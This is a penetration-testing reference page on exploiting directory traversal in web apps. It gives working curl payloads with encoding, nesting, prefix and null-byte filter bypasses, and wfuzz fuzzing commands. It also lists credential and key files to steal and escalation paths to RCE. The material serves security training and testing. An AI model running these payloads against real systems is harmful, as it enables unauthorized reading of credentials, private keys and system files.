# Directory Traversal

> Exploit path traversal vulnerabilities in web apps to access files outside the webroot using encoded sequences like ../to read sensitive system files.

- **URL:** https://hackindex.io/services/web/exploitation/directory-traversal
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

Directory traversal exploitation reads arbitrary files from the server filesystem by manipulating path parameters beyond the intended directory. Start with [directory traversal detection](https://hackindex.io/services/web/vulnerability-discovery/directory-traversal-detection) to confirm the vulnerability exists. Unlike [local file inclusion](https://hackindex.io/services/web/exploitation/file-inclusion), traversal reads raw file contents without executing them through an interpreter ,  it is language-agnostic and works in any application that passes user input into a filesystem read operation.

## Relative Path Traversal

Relative traversal steps out of the intended directory using `../` sequences. The filesystem stops at the root, so using more sequences than needed does not cause errors. Start deep and adjust.

**Basic relative traversal (Linux)**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ...
```

**Absolute path traversal**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=/etc/passwd"
```

## Common Target Files

After confirming the traversal works with `/etc/passwd`, move to high-value targets based on the application stack.

**Linux:**

- `/etc/passwd`: user accounts, confirms traversal works
- `/etc/shadow`: password hashes (requires root read permission)
- `/etc/hosts`: internal hostnames and IP ranges
- `/proc/self/environ`: environment variables, may contain secrets
- `/proc/self/cmdline`: process command line arguments
- `/var/www/html/.env`: Laravel / app credentials
- `/var/www/html/config.php`: PHP app DB credentials
- `/home/$USER/.ssh/id_rsa`: SSH private key if accessible
- `/home/$USER/.bash_history`: command history with credentials
- `/var/log/apache2/access.log`: Apache access log, useful for log poisoning
- `/var/log/nginx/access.log`: Nginx access log

**Windows:**

- `C:\Windows\System32\drivers\etc\hosts`: hosts file
- `C:\inetpub\wwwroot\web.config`: IIS config with credentials
- `C:\Windows\win.ini`: classic Windows traversal confirmation file

## Bypass Techniques

Applications often try to block traversal by stripping `../` or validating the path prefix. Several bypass patterns work against naive filters.

### URL Encoding

Encode the dot or slash characters so the filter does not recognise the traversal sequence but the server decodes them before the filesystem call.

**URL-encoded traversal**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=..%2F..%2F..%2Fetc%2Fpasswd"
```

**Double URL-encoded traversal**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=..%252F..%252F..%252Fetc%252Fpasswd"
```

### Nested Traversal Sequences

If the filter removes `../` but does not loop, a nested sequence collapses to the intended payload after one pass of stripping.

**Nested traversal bypass**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=....//....//....//etc/passwd"
```

### Path Prefix Bypass

Some applications require the path to start with a specific prefix like `/var/www/images/`. Supply the required prefix and traverse out of it.

**Prefix bypass**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=/var/www/images/../../../etc/passwd"
```

### Null Byte Truncation

In older PHP and C-based applications, a null byte (`%00`) terminates the string. If the application appends a fixed extension, a null byte truncates it before the filesystem call.

**Null byte to strip appended extension**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=../../../../etc/passwd%00.jpg"
```

## Fuzzing with Wfuzz

When manual traversal is blocked, fuzz with a payload list to find the sequence depth and encoding that bypasses the filter.

**Fuzz traversal depth with Wfuzz**

```bash
wfuzz -c -z range,1-10 --hl 0 -u "http://$TARGET_IP:$PORT/download?file=FUZZ" -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
```

**Fuzz with LFI payload list from SecLists**

```bash
wfuzz -c --hc 404,400 -u "http://$TARGET_IP:$PORT/download?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
```

## Directory Listing

Some applications expose directory contents when the path parameter resolves to a directory rather than a file. This occurs when the application passes the value to a directory listing function or when a web server auto-index is enabled and the traversal reaches a browseable directory.

**Test for directory listing via traversal**

```bash
curl -sk "http://$TARGET_IP:$PORT/browse?dir=../../../../var/www/"
```

## Escalation Paths

Traversal alone reads files. The impact depends on what files are accessible and what the application does with user-supplied input beyond reading. Common escalation paths from a confirmed traversal vulnerability:

- **Source code disclosure**: read application files to find hardcoded credentials, secrets, or additional vulnerabilities.
- **Credential theft**: read `.env`, `config.php`, `database.yml`, or `wp-config.php` for database or API credentials.
- **SSH key theft**: read `/home/$USER/.ssh/id_rsa` and use the key to log in directly.
- **Log poisoning to RCE**: if the application also has LFI (file inclusion with execution), use traversal to confirm the log path, then poison logs and include them. See [LFI to RCE](https://hackindex.io/services/web/exploitation/file-inclusion/lfi-to-remote-code-execution).

## References

- [PortSwigger: Path Traversal](https://portswigger.net/web-security/file-path-traversal) - Traversal techniques and bypass methods with interactive labs.
- [SecLists: LFI Fuzzing Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) - Wordlists for fuzzing traversal and LFI vulnerabilities.
- [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) - Common traversal vectors and encoding bypass reference.
- [PayloadsAllTheThings: Directory Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal) - Comprehensive payload list covering Linux, Windows, encoding variants.